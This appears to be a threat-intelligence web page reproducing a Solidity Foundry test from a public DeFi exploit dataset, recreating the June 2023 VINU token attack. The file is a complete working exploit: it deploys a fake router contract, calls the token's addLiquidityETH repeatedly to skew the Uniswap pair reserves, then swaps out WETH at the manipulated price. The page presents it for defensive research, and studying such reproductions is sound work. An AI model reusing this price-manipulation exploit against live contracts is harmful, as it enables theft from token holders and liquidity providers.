Public reproduction file
src/test/2023-06/VINU_exp.sol
Public reproduction file for dataset entry VINU.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~6k USD$8// Attacker : https://etherscan.io/address/0x9748c8540a5f752ba747f1203ac13dae789033de9// Attack Contract : https://etherscan.io/address/0xf73b8ea8838cba9148fb182e267a000f7cfba8dd10// Attack Tx : https://etherscan.io/tx/0xaf46a42fe1ed7193b25c523723dc047c7500e50a00ecb7bbb822d665adb3e1f312// @Analysis13// https://twitter.com/hexagate_/status/1666051854386511873?cxt=HHwWgoC24bPVgJ8uAAAA15interface IVINU is IERC20 {16 function addLiquidityETH(address routerAddr, address lprAddr, address devAddr) external;17}19contract VinuTest is Test {20 // Viral INU token21 IVINU VINU = IVINU(0xF7ef0D57277ad6C2baBf87aB64bA61AbDd2590D2);22 IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);23 Uni_Router_V2 UniswapV2Router02 = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);24 Uni_Pair_V2 Pair = Uni_Pair_V2(0xa8AF8ac7aCd97095c0d73eD51E30564d52b19cd8);25 address private constant flashbotsAddress = 0xDAFEA492D9c6733ae3d56b7Ed1ADB60692c98Bc5;26 Router FakeRouter;28 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);30 function setUp() public {31 deal(address(this), 0.5 ether);32 cheats.createSelectFork("mainnet", 17_421_006);33 cheats.label(address(VINU), "VINU");34 cheats.label(address(WETH), "WETH");35 cheats.label(address(UniswapV2Router02), "UniswapV2Router02");36 cheats.label(flashbotsAddress, "flashbotsAddress");37 }39 function testExploit() public {40 emit log_named_decimal_uint("Attacker's contract ETH balance before attack", address(this).balance, 18);42 emit log_named_decimal_uint(43 "Attacker's contract WETH balance before attack", WETH.balanceOf(address(this)), WETH.decimals()44 );46 address[] memory path = new address[](2);47 path[0] = address(WETH);48 path[1] = address(VINU);49 UniswapV2Router02.swapExactETHForTokens{value: 0.1 ether}(0, path, address(this), block.timestamp + 100);51 // Deploying fake Router contract52 FakeRouter = new Router();54 // Manipulating the price of VINU55 for (uint256 i; i < 4; ++i) {56 VINU.addLiquidityETH(address(FakeRouter), address(this), address(Pair));57 }58 Pair.sync();59 uint256 amountIn = VINU.balanceOf(address(this));60 VINU.transfer(address(Pair), VINU.balanceOf(address(this)));62 (uint112 reserveWETH, uint112 reserveVINU,) = Pair.getReserves();63 flashbotsAddress.call{value: 0.000000001 ether}("");64 uint256 amountOut = UniswapV2Router02.getAmountOut(amountIn, reserveVINU, reserveWETH);66 Pair.swap(amountOut, 0, address(this), "");68 emit log_named_decimal_uint("Attacker's contract ETH balance after attack", address(this).balance, 18);70 emit log_named_decimal_uint(71 "Attacker's contract WETH balance after attack", WETH.balanceOf(address(this)), WETH.decimals()72 );73 }74}76contract Router {77 address private constant wethAddr = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;79 function factory() external view returns (address) {80 return address(this);81 }83 function WETH() external view returns (address) {84 return wethAddr;85 }87 function approve(address spender, uint256 amount) external returns (bool) {88 return true;89 }91 function createPair(address tokenA, address tokenB) external returns (address) {92 return address(this);93 }95 function addLiquidityETH(96 address token,97 uint256 amountTokenDesired,98 uint256 amountTokenMin,99 uint256 amountETHMin,100 address to,101 uint256 deadline102 ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity) {103 return (0, 0, 0);104 }105}Analysis
Dataset entry
Public Foundry test for “VINU” (2023-06-06). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
21 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-06/ARA_exp.solSame month in the dataset · 110 lines
- src/test/2023-06/BabyDogeCoin02_exp.solSame month in the dataset · 225 lines
- src/test/2023-06/Biswap_exp.solSame month in the dataset · 244 lines
- src/test/2023-06/Cellframe_exp.solSame month in the dataset · 170 lines
- src/test/2023-06/CFC_exp.solSame month in the dataset · 123 lines
- src/test/2023-06/CompounderFinance_exp.solSame month in the dataset · 124 lines
- src/test/2023-06/Contract_0x7657_exp.solSame month in the dataset · 54 lines
- src/test/2023-06/DDCoin_exp.solSame month in the dataset · 151 lines
- src/test/2023-06/DEPUSDT_LEVUSDC_exp.solSame month in the dataset · 59 lines
- src/test/2023-06/MidasCapitalXYZ_exp.solSame month in the dataset · 194 lines
- src/test/2023-06/MIMSpell_exp.solSame month in the dataset · 110 lines
- src/test/2023-06/MyAi_exp.solSame month in the dataset · 73 lines
- src/test/2023-06/NST_exp.solSame month in the dataset · 65 lines
- src/test/2023-06/Pawnfi_exp.solSame month in the dataset · 248 lines
- src/test/2023-06/SELLC03_exp.solSame month in the dataset · 97 lines
- src/test/2023-06/SHIDO_exp.solSame month in the dataset · 107 lines
- src/test/2023-06/STRAC_exp.solSame month in the dataset · 54 lines
- src/test/2023-06/Sturdy_exp.solSame month in the dataset · 339 lines
- src/test/2023-06/Themis_exp.solSame month in the dataset · 266 lines
- src/test/2023-06/UN_exp.solSame month in the dataset · 68 lines
- src/test/2023-06/UnverifiedContr_9ad32_exp.solSame month in the dataset · 41 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x9748c8540a5f752ba747f1203ac13dae789033de
- Attack Contract
0xf73b8ea8838cba9148fb182e267a000f7cfba8dd
- Attack Tx
0xaf46a42fe1ed7193b25c523723dc047c7500e50a00ecb7bbb822d665adb3e1f3
File record
- Name
- VINU
- Path
- src/test/2023-06/VINU_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 76e2cc102faf3dd93dd96b55cbe6a2fcfd055adf
- Language
- Solidity
- Size
- 106 lines
- Date
- 2023-06-06
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-06/VINU_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 76e2cc102faf3dd93dd96b55cbe6a2fcfd055adf, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.